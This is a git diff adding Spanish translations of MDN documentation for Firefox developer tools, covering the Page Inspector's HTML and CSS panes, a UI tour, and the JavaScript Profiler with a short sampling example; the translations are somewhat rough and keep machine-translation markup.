+ <li><span id="result_box" lang="es"><span class="hps">Pegar el contenido</span> <span class="hps">del portapapeles en</span> <span class="hps">el nodo</span> <span class="hps">como su</span> <span class="hps">outerHTML</span> <span class="atn hps">(</span><span>esto es nuevo</span> <span class="hps">en Firefox</span> <span class="hps">32</span><span>).</span></span></li>
+ <li><span class="short_text" id="result_box" lang="es"><span class="hps">Eliminar</span> <span class="hps">el elemento.</span></span></li>
+ <li>
+  <div class="almost_half_cell" id="gt-res-content">
+  <div dir="ltr" style="zoom: 1;"><span class="short_text" id="result_box" lang="es"><span class="hps">Establecer el</span></span><a href="/en-US/docs/Web/CSS/:hover" title="/en-US/docs/Web/CSS/:hover"> :hover</a>, <a href="/en-US/docs/Web/CSS/:focus" title="/en-US/docs/Web/CSS/:focus">:focus</a>, y <a href="/en-US/docs/Web/CSS/:active" title="/en-US/docs/Web/CSS/:active">:active</a> CSS pseudo-classes.</div>
+  </div>
+ </li>
+</ul>
+
+<h3 id="Copiar_imagen_como_URL_datos"><span class="short_text" id="result_box" lang="es"><span class="hps">Copiar imagen</span> <span class="hps">como URL</span> <span class="hps">datos</span></span></h3>
+
+<div class="almost_half_cell" id="gt-res-content">
+<div dir="ltr" style="zoom: 1;"><span id="result_box" lang="es"><span class="hps">Desde</span> <span class="hps">Firefox</span> <span class="hps">29</span> <span class="hps">en adelante</span><span>, si el elemento</span> <span class="hps">seleccionado en ese momento</span> <span class="hps">es una imagen,</span> <span class="hps">a continuación,</span> <span class="hps">en el menú emergente</span> <span class="hps">incluye una opción para</span> <span class="hps">copiar la imagen</span> <span class="hps">en el portapapeles</span> <span class="hps">como una URL</span> <span class="hps">de datos</span><span>:</span></span></div>
+</div>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/7011/inspector-copyasdatauri.png" style="display: block; height: 282px; margin-left: auto; margin-right: auto; width: 529px;"></p>
+
+<h3 id="Edición_de_HTML"><a name="Editing_HTML">Edición de HTML</a></h3>
+
+<p><span class="short_text" id="result_box" lang="es"><span class="hps">Para editar</span> <span class="hps">un elemento</span> <span class="hps">de</span></span> <a href="/en-US/docs/Web/API/Element.outerHTML">outerHTML</a>, <span id="result_box" lang="es"><span class="hps">activar</span> <span class="hps">el menú emergente del</span> <span class="hps">elemento</span> <span class="atn hps">y seleccione "</span><span>Editar como</span> <span class="hps">HTML"</span><span>.</span> <span class="hps">Verá</span> <span class="hps">un cuadro de texto</span> <span class="hps">en el panel</span> <span class="hps">HTML</span></span>:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/7451/inspector-editHTML.png" style="display: block; height: 269px; margin-left: auto; margin-right: auto; width: 540px;"><span id="result_box" lang="es"><span class="hps">Puedes agregar cualquier</span> <span class="hps">código HTML</span> <span class="hps">aquí</span><span>: cambiar</span> <span class="hps">la etiqueta del elemento </span><span class="alt-edited">cambiando</span> <span class="hps">los elementos existentes</span><span>,</span> <span class="hps">o añadiendo otros nuevos</span><span>.</span> <span class="hps">Una vez que</span> <span class="hps">se hace clic</span> <span class="hps">fuera de la caja</span><span>, los cambios se</span> <span class="hps">aplican a la página</span></span>.</p>
+
+<h2 id="Panel_de_HTML"><a name="HTML_pane">Panel de HTML</a></h2>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/7455/inspector-html-toolbar-annotated.png" style="display: block; margin-left: auto; margin-right: auto;"><span id="result_box" lang="es"><span class="hps">El panel de</span> <span class="hps">HTML, que</span> <span class="hps">muestra</span> <span class="hps">el HTML de</span> <span class="hps">la página como</span> <span class="hps">un árbol.</span> <span class="hps">Justo a la izquierda</span> <span class="hps">de cada</span> <span class="hps">nodo es</span> <span class="hps">una flecha</span><span>:</span> <span class="hps">Haz clic en la</span> <span class="hps">flecha para expandir</span> <span class="hps">el nodo.</span></span></p>
+
+<p><span id="result_box" lang="es"><span class="hps">Puedes editar el</span> <span class="hps">HTML -</span> <span class="hps">etiquetas</span><span>, atributos y</span> <span class="hps">contenido -</span> <span class="hps">directamente</span> <span class="hps">en este panel</span><span>:</span> <span class="hps">Haz clic en el</span> <span class="hps">elemento</span> <span class="hps">que deseas editar</span><span>,</span> <span class="hps">cambiar,</span> <span class="hps">y pulsa Enter</span> <span class="hps">para ver</span> <span class="hps">los</span> <span class="hps">cambios reflejados</span> <span class="hps">inmediatamente</span></span>.</p>
+
+<p><span id="result_box" lang="es"><span>Haciendo click en el contenido de</span><span> un</span> <span>elemento se muestra</span> <span>un</span></span> <a href="#Element_popup_menu">menu emergente para trabajar con ese elemento..</a><a href="https://developer.mozilla.org/es/docs/Tools/Page_Inspector#Element_popup_menu">.</a></p>
+
+<p><span id="result_box" lang="es"><span>A partir de</span> <span>Firefox</span> <span>31</span> <span>en adelante</span><span>,</span> <span>si se</span> <span>mantiene pulsada la tecla</span> <span>Alt</span> <span>mientras se hace clic</span> <span>en la flecha</span><span>, se expande</span> <span>el nodo y</span> <span>todos</span> <span>los</span> <span>nodos</span> <span>por debajo de ella</span><span>.</span></span></p>
+
+<p> <span id="result_box" lang="es"><span>A partir de</span> <span>Firefox</span> <span>32</span> <span>en adelante</span><span>, los nodos</span> <span>que están</span> <span>ocultos usando  </span></span><a href="/en-US/docs/Web/CSS/display">display:none</a> se muestran descoloridos.</p>
+
+<h3 id="Barra_de_herramientas_del_panel_HTML"><span class="short_text" id="result_box" lang="es"><span>Barra de herramientas</span> <span>del panel</span> <span>HTML</span></span></h3>
+
+<p>Encima del panel , hay una barra de herramientas dedicada, dividida en dos secciones.</p>
+
+<ul>
+ <li><span id="result_box" lang="es"> <span>HTML Breadcrumbs</span><span>:</span> <span>Este muestra la</span> <span>jerarquía completa</span> <span>a través del</span> <span>documento para la</span> <span>rama que contiene</span> <span>el elemento</span> <span>seleccionado.</span> <span>Si se</span> <span>mantiene pulsado el botón</span> sobre <span>uno de</span> <span>los</span> <span>elementos en</span> <span>la barra</span><span>,</span> <span>aparece un menú emergente</span> <span>que le permite seleccionar</span> <span>uno de</span> <span>los hermanos de</span> <span>ese elemento</span><span>.</span> <span>Al hacer clic en</span> <span>los</span> <span>pequeños</span> <span>iconos de flecha</span> <span>de los extremos</span> <span>izquierdo y derecho de</span> <span>la barra</span>, <span>se desplazará</span> <span>la barra</span> <span>si es</span> <span>más ancha que el</span> <span>espacio disponible</span><span>.</span></span></li>
+ <li><span id="result_box" lang="es"><span>Search tags</span><span>:</span> <span>Busca etiquetas para la página que escribes</span><span>.</span> <span>Al pulsar</span> <span>"Enter</span><span>" aparece lo que ha encontrado</span><span> a continuación.</span></span></li>
+</ul>
+
+<h2 id="Panel_CSS">Panel CSS</h2>
+
+<p><span id="result_box" lang="es"><span>El panel de</span> <span>CSS</span> <span>muestra la información</span> <span>acerca de los</span> <span>estilos aplicados</span> <span>al elemento</span> <span>actualmente seleccionado.</span> <span>Hay cuatro</span> <span>puntos de vista</span> <span>diferentes:</span> <span>"</span><span>Reglas</span><span>"</span><span>,</span> <span>"</span><span>computarizada</span><span>"</span><span>,</span> <span>"</span><span>Fuentes</span><span>"</span> <span>y</span> <span>"</span><span>modelo de caja</span><span>"</span><span>.</span> <span>Se puede cambiar entre</span> <span>ellas utilizando</span> <span>la barra de herramientas</span> <span>en la parte superior</span> <span>del</span> <span>panel</span><span>:</span></span></p>
+
+<h3 id="VISTA_DE_REGLAS"><img alt="" src="https://mdn.mozillademos.org/files/7447/inspector-css-toolbar.png" style="display: block; margin-left: auto; margin-right: auto;">VISTA DE REGLAS</h3>
+
+<div class="g-unit" id="gt-src-c">
+<div id="gt-src-p">
+<div id="gt-src-wrap">
+<div dir="ltr" style="zoom: 1;"><span id="result_box" lang="es"><span>Esta vista</span> <span>muestra todas las reglas</span> <span>que se aplican</span> <span>al elemento seleccionado</span><span>, ordenadas</span> <span>desde la</span> <span>más</span> <span>específica</span><span>, hasta la menos</span> <span>específica</span><span>:</span></span></div>
+</div>
+</div>
+</div>
+
+<p> </p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/7453/inspector-HTML-pane.png" style="display: block; margin-left: auto; margin-right: auto;">La vista de reglas muestra la lista de <a href="/en-US/docs/Web/CSS/Pseudo-elements">seudo-elementos</a>, y las reglas que se aplican.</p>
+
+<p><span id="result_box" lang="es"><span>A partir de</span> <span>Firefox</span> <span>32</span> <span>en adelante</span><span>,el </span><span>listado de vista de reglas,<a href="/en-US/docs/Web/CSS/Cascade"> usuario-agente-estilos</a></span> <span>(estilos</span> <span>aplicados</span> <span>por el navegador</span><span>)</span> <span>si la opción</span> <span>de hacerlo</span> <span>se revisa</span> <span>en</span> <span>los</span> <a href="/en-US/docs/Tools/Tools_Toolbox#Settings_2">ajustes de herramientas de desarrollador</a><span>.</span> <span>Tenga en cuenta que</span> <span>este ajuste</span> <span>es independiente de</span> <span>la casilla de verificación</span> <span>"</span><span>Estilos</span> <span>de navegador</span><span>"</span> <span>en la <a href="/en-US/docs/Tools/Page_Inspector#Computed_view">vista computarizada</a></span>.</span></p>
+
+<h4 id="Muestra_de_reglas">Muestra de reglas</h4>
+
+<p>Esta muestra cada regla como una hoja de estilos, con una lista de selectores seguida por una lista de  declaraciones.<code> (property:value;)</code></p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/5659/inspector-css-rules-singlerule-annotated.png" style="display: block; height: 206px; margin-left: auto; margin-right: auto; width: 544px;"><span id="result_box" lang="es"><span>Las reglas que se</span> han <span>invalidado por normas</span> <span>posteriores</span> <span>están tachadas</span><span>.</span> <span>Si se pasa el ratón</span> <span>sobre</span> <span>una declaración</span><span>,</span> <span>una casilla de verificación</span> <span>aparece junto</span> <span>a ella</span><span>: Se puede usar</span> <span>esta opción para alternar</span> <span>el estado</span>  de la regla de<span> encendido a apagado.</span></span></p>
+
+<p>Usuario-agente-estilos se muestra  en un gris oscuro, y el vínculo y el número de linea contiene el prefijo <code>(user agent)</code>:<br>
+ <img alt="" src="https://mdn.mozillademos.org/files/7909/inspector-rules-view-ua-style.png" style="display: block; height: 121px; margin-left: auto; margin-right: auto; width: 342px;"></p>
+
+<h4 id="Vínculo_al_archivo_CSS">Vínculo al archivo CSS</h4>
+
+<p>En la parte superior derecha de cada regla, el <span class="short_text" id="result_box" lang="es"><span>nombre del archivo</span> de procedencia </span> y el numero de linea se muestran como un vínculo: Haciendo click en este ,se abre el archivo en el  <a href="/en-US/docs/Tools/Style_Editor" title="/en-US/docs/Tools/Style_Editor"> Editor de estilos</a>.</p>
+
+<p><span id="result_box" lang="es"><span>El Inspector</span> <span>entiende</span> los <span>mapas de procedencia del</span> <span>CSS</span><span>.</span> <span>Eso significa que si</span> <span>usted está usando</span> <span>un preprocesador</span> <span>CSS que</span> <span>tiene soporte para</span> <span>mapas fuente</span><span>,</span> <span>y</span> <span>ha habilitado</span> <span>el apoyo</span> <span>de mapa de origen</span> <span>en los <a href="/en-US/docs/Tools_Toolbox#Style_Editor">ajustes de editor de estilos</a></span><a href="/en-US/docs/Tools_Toolbox#Style_Editor"> </a><span>,</span> <span>a continuación,</span> <span>el enlace</span> <span>le llevará a</span> <span>la fuente</span> <span>original, no al</span> <span>CSS</span> <span>generado</span></span>.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/6947/inspector-css-sourcemap-detail.png" style="display: block; height: 133px; margin-left: auto; margin-right: auto; width: 390px;"></p>
+
+<p>Leer más sobre el soporte para  mapas de procedencia de CSS  en la <a href="/en-US/docs/Tools/Style_Editor#Source_map_support">documentación del editor de estilos</a>.</p>
+
+<h4 id="Muestras_de_color">Muestras de color</h4>
+
+<p>Verás que aparece una muestra de color junto a sus valores numéricos:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/6361/inspector-css-color-swatch.png" style="display: block; height: 158px; margin-left: auto; margin-right: auto; width: 487px;"></p>
+
+<h4 id="Selector_de_color">Selector de color</h4>
+
+<p>Si haces click en la muestra de color, verás aparecer un selector de color, que te permite  cambiarlo:</p>
+
+<h4 id="sect1"><img alt="" src="https://mdn.mozillademos.org/files/7747/inspector-color-picker.png" style="display: block; margin-left: auto; margin-right: auto;"></h4>
+
+<p><span id="result_box" lang="es"><span>A partir de</span> <span>Firefox</span> <span>31</span> <span>en adelante, el</span> <span>selector de color</span> <span>incluye un</span> <span>icono de cuentagotas</span><span>:</span> <span>Al hacer clic</span> <span>en este icono</span> <span>se  permite utilizar</span> <span>el cuentagotas para seleccionar</span> <span>un nuevo color</span> <span>para el elemento</span> <span>de la</span> <span>página:</span></span></p>
+
+<p>{{EmbedYouTube("0Zx1TN21QOo")}}</p>
+
+<p> </p>
+
+<h4 id="Previsualización_de_la_imagen_de_fondo">Previsualización de la imagen de fondo</h4>
+
+<p><span id="result_box" lang="es"><span>Verás</span> <span>una vista previa de</span> <span>imágenes</span> <span>especificas utilizando</span> <a href="/en-US/docs/Web/CSS/background-image">Imagen de fondo</a> <span>si</span> <span>te detienes sobre</span> <span>la regla:</span></span></p>
+
+<h4 id="Transformar_la_visualización"><img alt="" src="https://mdn.mozillademos.org/files/7457/inspector-image-preview.png" style="display: block; margin-left: auto; margin-right: auto;"><span class="short_text" id="result_box" lang="es"><span>Transformar</span> <span>la visualización</span></span></h4>
+
+<p><span id="result_box" lang="es"><span>Si</span> <span>se pasa sobre</span> <span>una propiedad de</span> <a href="/en-US/docs/Web/CSS/transform">transformación</a> <span>en la vista de reglas,</span><span> se obtiene</span> <span>una información sobre herramientas</span><span>, que</span> <span>visualiza</span> <span>la transformación</span>  que <span>se</span> <span>lleva a cabo</span><span>:</span></span></p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/7133/transform-tooltip.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
+
+<h4 id="Herramienta_informativa_fuente-familia">Herramienta informativa fuente-familia</h4>
+
+<div class="geckoVersionNote">
+<p>Esto es nuevo en Firefox 30.</p>
+</div>
+
+<p>A partir de Firefox 30 en adelante,  si pasas sobre una propiedad <a href="/en-US/docs/Web/CSS/font-family"><code>fuente-familia</code></a>  en la Vista de Reglas, consigues una información con una muestra sobre ese tipo de letra :</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/7385/font-family-tooltip.png" style="display: block; height: 248px; margin-left: auto; margin-right: auto; width: 359px;"></p>
+
+<h4 id="Edición_de_Reglas">Edición de Reglas</h4>
+
+<p>Si haces click en una declaración,puedes modificar esa propiedad o valor, y ves el resultado inmediatamente. Para añadir una nueva declaración a una regla, haces click sobre la última linea de la regla (la linea ocupada por la llave de cierre). Si introduces un valor no válido para una propiedad mientras lo estás editando, o el nombre de una propiedad desconocida, un icono de alerta amarillo aparece bajo  la declaración.</p>
+
+<p>Cualquier cambio que se realice es temporal: Al volver a cargar la página , se restablecerá el estilo original.</p>
+
+<p><strong>Consejo:</strong> Puedes utilizar las teclas de flecha para aumentar/disminuir reglas numéricas mientras realizas la edición. La flecha hacia arriba cambiará  "1px" a  2px,  y Shift+up/down la aumentará o disminuira en 10. Alt+up/down cambiará los valores en  0.1, y shift+Page up/down  sumará o restará  100 al valor.</p>
+
+<h3 id="Vista_computada">Vista computada</h3>
+
+<p>Esta vista organiza el estilo del elemento por propiedades. En  esta lista se enumeran todas las propiedades CSS que se han aplicado a este elemento en orden alfabétiico: Muestra el valor calculado que cada propiedad CSS tiene para el elemento seleccionado :</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/7443/inspector-computed-view.png" style="display: block; margin-left: auto; margin-right: auto;">Al hacer click en la flecha junto al nombre de la propiedad ,muestra la regla que establece ese valor , junto a un enlace al nombre del archivo de origen y el número de linea :</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/7445/inspector-computed-view-open.png" style="display: block; margin-left: auto; margin-right: auto;">Por defecto, solo muestra los valores que han sido explicitamente establecidos para esa página: Para ver todos los valores haz click en el cuadro de "Estilos del navegador" .</p>
+
+<p>Escribir en el buscador realiza un filtrado directo de la lista , por lo que, por ejemplo,si lo que deseas es ver los ajustes relacionados con la fuente, puedes escribir "fuente" en el buscador, y unicamente las propiedades con "fuente" en el nombre seran listadas. Tambien puedes buscar por los valores de las propiedades: Para encontrar la regla responsable de establecer la fuente "Lucida Grande", escribe eso en el buscador.</p>
+
+<h3 id="Vista_de_fuentes">Vista de fuentes</h3>
+
+<p>Esta muestra todas las fuentes utilizadas por el elemento seleccionado. Tenga en cuenta que muestra el tipo de letra utilizado en su sistema, que puede ser diferente a las especificadas en el css:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/7449/inspector-fonts-view.png" style="display: block; margin-left: auto; margin-right: auto;">El texto en la vista de fuentes es  "Abc" por defecto,pero  en realidad  es un area de texto y puede ser editado libremente.</p>
+
+<h3 id="Vista_modelo_de_caja">Vista modelo de caja</h3>
+
+<p>Esta muestra una representación gráfica de como el  <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/box_model" title="/en-US/docs/Web/CSS/box_model">modelo de caja</a> se aplica a este elemento. A partir de  Firefox 30, mientras el ratón está en vista del modelo de caja, las lineas de cuadrícula y el modelo de caja para el elemento de la página son mostradas:<img alt="" src="https://mdn.mozillademos.org/files/7439/inspector-box-model-view.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
+
+<h4 id="Vista_detallada_del_modelo_de_caja">Vista detallada del modelo de caja</h4>
+
+<p> Antes de Firefox 30, la vista del modelo de caja era el siguiente:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/5671/inspector-css-box-model-annotated.png" style="display: block; height: 435px; margin-left: auto; margin-right: auto; width: 680px;"></p>
+
+<ul>
+ <li>En la parte superior izquierda  está el espacio total tomado por el elemento en la página.</li>
+ <li>Los números externos  te dicen el tamaño del margen a cada lado del elemento.</li>
+ <li>Los números en los bordes cuadrados  te dicen cual es la anchura del borde de cada lado.</li>
+ <li>La siguiente capa muestra el tamaño del relleno a cada lado del elemento .</li>
+ <li>Finalmente, en el centro, está el tamaño del contenido del elemento.</li>
+</ul>
+
+<p>A partir de Firefox 30, se ha simplificado:<img alt="" src="https://mdn.mozillademos.org/files/7437/inspector-box-model-detail.png" style="display: block; height: 273px; margin-left: auto; margin-right: auto; width: 328px;"></p>
+
+<ul>
+ <li>La parte superior izquierda todavía muestra el tamaño tomado por el elemento en la página (contenido + relleno).</li>
+ <li>El centro todavía muestra el tamaño del contenido.</li>
+ <li>La parte superior derecha muestra el valor de la propiedad <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/position_value"><code>posicion.</code></a></li>
+ <li>Los valores individuales para el relleno, borde, y margen están donde podrías esperar.</li>
+</ul>
+
+<p>A partir de Firefox 31, si haces click sobre uno de los números  en la vista modelo de caja, puedes modificar el valor y ver el resultado en la página inmediatamente.</p>
+
+<h2 id="Utilización_del_Inspector_de_Página_en_la_Consola_Web">Utilización del Inspector de Página en la Consola Web</h2>
+
+<p>El elemento seleccionado en ese momento en el  inspector de página , en su caso, puede ser referenciado en  JavaScript en la Cónsola web utilizando la variable <code>$0</code>.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/5461/inspector-console.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
+
+<p>Además, a partir de  Firefox 30, si pasas sobre el elemento en la salida de la Cónsola Web ,este es resaltado en la pantalla:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/7469/inspector-web-console.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
+
+<h2 id="API_para_desarrolladores"> API para desarrolladores</h2>
+
+<p>Firefox complementos puede acceder a los siguientes objetos desde chrome://browser/content/devtools/inspector/inspector.xul context:</p>
+
+<h3 id="ventana.inspector">ventana.inspector</h3>
+
+<p>Definido en <a href="http://mxr.mozilla.org/mozilla-central/source/browser/devtools/inspector/inspector-panel.js" title="http://mxr.mozilla.org/mozilla-central/source/browser/devtools/inspector/inspector-panel.js">inspector-panel.js</a>. Atributos y funciones:</p>
+
+<ul>
+ <li>.selection - información sobre la selección del inspector:
+  <ul>
+   <li>.isNode() - devuelve verdadero si la selección es el nodo.</li>
+   <li>.node - devuelve el elemento actual desde la página.</li>
+   <li>.window - El objeto seleccionado de la estructura está en la ventana.</li>
+  </ul>
+ </li>
+ <li>.markDirty() - marca la página que ha sido cambiada por el inspector - un aviso será mostrado cuando se abandone la página, ya que los cambios realizados  a traves del inspector, serán incorporados al recargar la página.</li>
+</ul>
+
+<p>Capacidad de enlazar eventos en:</p>
+
+<h4 id="Markup_cargado">  Markup cargado</h4>
+
+<p>LLamado cuando el panel izquierdo ha sido renovado, despues del cambio de página.</p>
+
+<h4 id="Listo">Listo</h4>
+
+<p>LLamado cuando se ha cargado el primer markup.</p>
+
+<h4 id="Seudoclase">Seudoclase</h4>
+
+<p>LLamado despues comando de seudoclase.</p>
+
+<h4 id="Cambio_de_diseño">Cambio de diseño</h4>
+
+<p>"Evento de cambio de baja prioridad para cosas como pintar o cambiar el tamaño."</p>
+
+<h2 id="Atajos_de_teclado">Atajos de teclado</h2>
+
+<p>{{ Page ("en-US/docs/tools/Keyboard_shortcuts", "page-inspector") }}</p>
+
+<h3 id="Atajos_globales">Atajos globales</h3>
+
+<p>{{ Page ("en-US/docs/tools/Keyboard_shortcuts", "all-toolbox-tools") }}</p>
+
+<p> </p>
+
+<p> </p>
+
+<p> </p>
diff --git a/files/es/tools/page_inspector/ui_tour/index.html b/files/es/tools/page_inspector/ui_tour/index.html
new file mode 100644
index 0000000000..a72918603a
--- /dev/null
+++ b/files/es/tools/page_inspector/ui_tour/index.html
@@ -0,0 +1,98 @@
+---
+title: Tour por la UI
+slug: Tools/Page_Inspector/UI_Tour
+tags:
+  - Guía
+  - Herramientas
+  - Inspector
+translation_of: Tools/Page_Inspector/UI_Tour
+---
+<p>Este artículo es un breve recorrido por las principales secciones de la interfaz de usuario del Inspector de páginas.</p>
+
+<p>Recorre los tres componentes de máximo nivel de la interfaz de usuario del Inspector:</p>
+
+<ul>
+ <li>el botón "Seleccionar elemento</li>
+ <li>el panel HTML</li>
+ <li>el panel CSS</li>
+</ul>
+
+<p><img alt="The all-new Inspector panel in Firefox 57." src="https://mdn.mozillademos.org/files/15507/57-inspector-UI.png" style="display: block; height: 649px; margin-left: auto; margin-right: auto; width: 900px;"></p>
+
+<p>Esta guía pretende mantenerse tan breve como sea posible, y lo hace enlazando a otras guías más específicas para profundizar en el trabajo con el Inspector.</p>
+
+<h2 id="Botón_seleccionar_elemento">Botón seleccionar elemento</h2>
+
+<p>El Inspector ofrece información detallada sobre el elemento actualmente seleccionado. El botón Seleccionar Elemento es una de las maneras para seleccionar el elemento que queremos inspeccionar:</p>
+
+<p><img alt="This is the button in Firefox 57 Inspector you can use to select elements on a web page." src="https://mdn.mozillademos.org/files/15513/57-select-element.png" style="display: block; height: 147px; margin-left: auto; margin-right: auto; width: 500px;"></p>
+
+<p>Este botón forma parte de la <a href="/es/docs/Tools/Tools_Toolbox#Toolbar">barra de herramientas principal</a>, por tanto es accesible desde cualquier herramienta, no sólo desde el Inspector.</p>
+
+<p>Para aprender a seleccionar un elemento ver la guía <a href="/en-US/docs/Tools/Page_Inspector/How_to/Select_an_element">seleccionar un elemento</a>.</p>
+
+<h2 id="Panel_HTML">Panel HTML</h2>
+
+<p>El Inspector está dividido en dos mitades. La mitad izquierda está ocupada por el panel HTML:</p>
+
+<p><img alt="These are the tasty new HTML and CSS panes in Firefox 57." src="https://mdn.mozillademos.org/files/15515/57-html-css-pane.png" style="display: block; height: 254px; margin-left: auto; margin-right: auto; width: 800px;"></p>
+
+<p>Para aprender más sobre la estructura del panel HTML, ver a la guía <a href="/es/docs/Tools/Page_Inspector/How_to/Examine_and_edit_HTML">examinar y editar HTML</a>.</p>
+
+<h2 id="Panel_CSS">Panel CSS</h2>
+
+<p>La mitad derecha del Inspector la ocupa el panel CSS:</p>
+
+<p><img alt="The rules view within the Inspector." src="https://mdn.mozillademos.org/files/15511/57-rules-view.png" style="display: block; height: 579px; margin-left: auto; margin-right: auto; width: 600px;">The CSS pane is divided into 4 views:</p>
+
+<p>El panel CSS está dividido en 5 vistas:</p>
+
+<ul>
+ <li>Vista reglas</li>
+ <li>Vista Calculado</li>
+ <li>Vista Disposición</li>
+ <li>Vista animaciones</li>
+ <li>Vista tipografía</li>
+</ul>
+
+<p>Para cambiar de vista utiliza las pestañas que hay en la parte superior de la página</p>
+
+<h3 id="Vista_reglas">Vista reglas</h3>
+
+<p>La vista Reglas muestra la lista de todas las reglas que se aplican al elemento seleccionado ordenadas desde la más específica a la menos específica</p>
+
+<p>Ver <a href="/es/docs/Tools/Page_Inspector/How_to/Examine_and_edit_CSS">Examinar y editar CSS</a> para más detalles.</p>
+
+<h3 id="Vista_calculado">Vista calculado</h3>
+
+<p>La vista Calculada muestra el cálculo completo de CSS para el elemento seleccionado, y una representación visual editable del modelo de caja para el elemento:</p>
+
+<p><img alt="The Computed view within the Inspector." src="https://mdn.mozillademos.org/files/15509/57-computed-view.png" style="display: block; height: 491px; margin-left: auto; margin-right: auto; width: 500px;"></p>
+
+<p>Para aprender más sobre la vista modelo de cajas ver <a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_and_edit_the_box_model">Examinar y editar el modelo de caja</a>. Ten en cuenta que antes de Firefox 50, la vista modelo de caja no estaba en la pestaña "Vista calculada", sino que tenía su propia pestaña.</p>
+
+<p>Para aprender más sobre las declaraciones CSS listadas en esta vista ver <a href="/es/docs/Tools/Page_Inspector/How_to/Examine_and_edit_CSS#Examine_computed_CSS">Examinar CSS calculado</a>.</p>
+
+<h3 id="Vista_tipografía">Vista tipografía</h3>
+
+<div class="warning">
+<p>En Firefox 47 <strong>únicamente</strong>, la vista Tipografía está desactivada por defecto. Si quieres verla en Firefox 47, visita <code>about:config</code>, busca la opción <code>devtools.fontinspector.enabled</code>, y seleccionala como <code>true</code>.</p>
+
+<p>Antes y después de Firefox 47, la vista Tipografía está habilitada por defecto.</p>
+</div>
+
+<p>La vista Tipografía muestra todas las fuentes de la página con muestras editables.</p>
+
+<p><img alt="The all-new Inspector panel in Firefox 57." src="https://mdn.mozillademos.org/files/15517/57-fonts-panel.png" style="display: block; height: 344px; margin-left: auto; margin-right: auto; width: 500px;"></p>
+
+<p>Ver <a href="/es/docs/Tools/Page_Inspector/How_to/View_fonts">Vista tipografía</a> para más detalles.</p>
+
+<h3 id="Vista_animaciones">Vista animaciones</h3>
+
+<p>La Vista Animaciones ofrece los detalles de cualquier animación aplicada al elemento seleccionado, y un controlador para pausarlas</p>
+
+<p> </p>
+
+<p><img alt="This is the Animations pane in the Firefox 57 Inspector. " src="https://mdn.mozillademos.org/files/15519/animation-view.png" style="display: block; height: 343px; margin-left: auto; margin-right: auto; width: 500px;"></p>
+
+<p>Ver <a href="/es/docs/Tools/Page_Inspector/How_to/Work_with_animations">Trabajar con animaciones</a> para más detalles.</p>
diff --git a/files/es/tools/profiler/index.html b/files/es/tools/profiler/index.html
new file mode 100644
index 0000000000..86caf8465c
--- /dev/null
+++ b/files/es/tools/profiler/index.html
@@ -0,0 +1,104 @@
+---
+title: JavaScript Profiler
+slug: Tools/Profiler
+translation_of: Tools/Performance
+---
+<div>
+ Utilice la herramienta de perfiles para encontrar los cuellos de botella en el código JavaScript. El Profiler muestras periódicamente la pila actual de llamadas JavaScript y compila información sobre las muestras. </div>
+<div>
+  </div>
+<div>
+ Puede iniciar el Analizador seleccionando "Profiler" en el menú "Web Developer". Usted encontrará en el menú "Web Developer" en el menú "Herramientas" en Linux y OS X, y directamente bajo el menú "Firefox" en Windows. </div>
+<div>
+  </div>
+<div>
+ La <a href="/en-US/docs/Tools/DevTools_Window">Caja de herramientas</a> se abrirá, con el Profiler seleccionado.</div>
+<div>
+  </div>
+<h2 id="Los_perfiladores_de_muestreo"><a name="sampling-profilers">Los perfiladores de muestreo</a></h2>
+<p>El perfilador de JavaScript es un generador de perfiles de muestreo. Esto significa que las muestras periódicamente el estado del motor de JavaScript, y registra la pila para el código que se ejecuta en el momento de tomar la muestra. Estadísticamente, el número de muestras tomadas en la que estábamos ejecutando una función particular, corresponde a la cantidad de tiempo que el navegador está gastando ejecutarlo, para que pueda identificar los cuellos de botella en el código.<br>
+ <br>
+ <a name="profiling-example">Por ejemplo, considere un programa como este:</a></p>
+<pre class="brush: js">function doSomething() {
+  var x = getTheValue();
+  x = x + 1;                   // -&gt; sample A
+  logTheValue(x);
+}
+
+function getTheValue() {
+  return 5;
+}
+
+function logTheValue(x) {
+ console.log(x);               // -&gt; sample B, sample C
+}
+
+doSomething();</pre>
+<p>Supongamos que ejecutar este programa con el perfilador activo, y en el tiempo que se tarda en ejecutar, el perfilador toma de tres muestras, como se indica en los comentarios en línea de arriba. </p>
+<p>Todos están tomadas desde el interior <code>doSomething()</code>, pero los otros dos se encuentran dentro de la función <code>logTheValue()</code> llamado por <code>doSomething()</code>. Así que el perfil consistiría en tres seguimientos de pila, como este:</p>
+<pre>Sample A: doSomething()
+Sample B: doSomething() &gt; logTheValue()
+Sample C: doSomething() &gt; logTheValue()</pre>
+<p>Esto, obviamente, no hay suficientes datos para que nos digan nada, pero con mucho más muestras de que podría ser capaz de concluir que <code>logTheValue()</code> es el cuello de botella en nuestro código.</p>
+<h2 id="Creación_de_un_perfil">Creación de un perfil</h2>
+<p>Haga clic en el botón del cronómetro (<em>stopwatch</em><span style="font-size: 14px; line-height: 1.5;">) en el Profiler para iniciar muestras de grabación. Cuando Profiler está grabando, se resaltará el botón del cronómetro. Haga clic en él de nuevo para detener la grabación y guardar el nuevo perfil:</span></p>
+<p style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/5977/Screen%20Shot%202013-08-26%20at%2010.35.47%20AM.png"></p>
+<p>Una vez que haya hecho clic en "Stop", el nuevo perfil se abrirá de forma automática:</p>
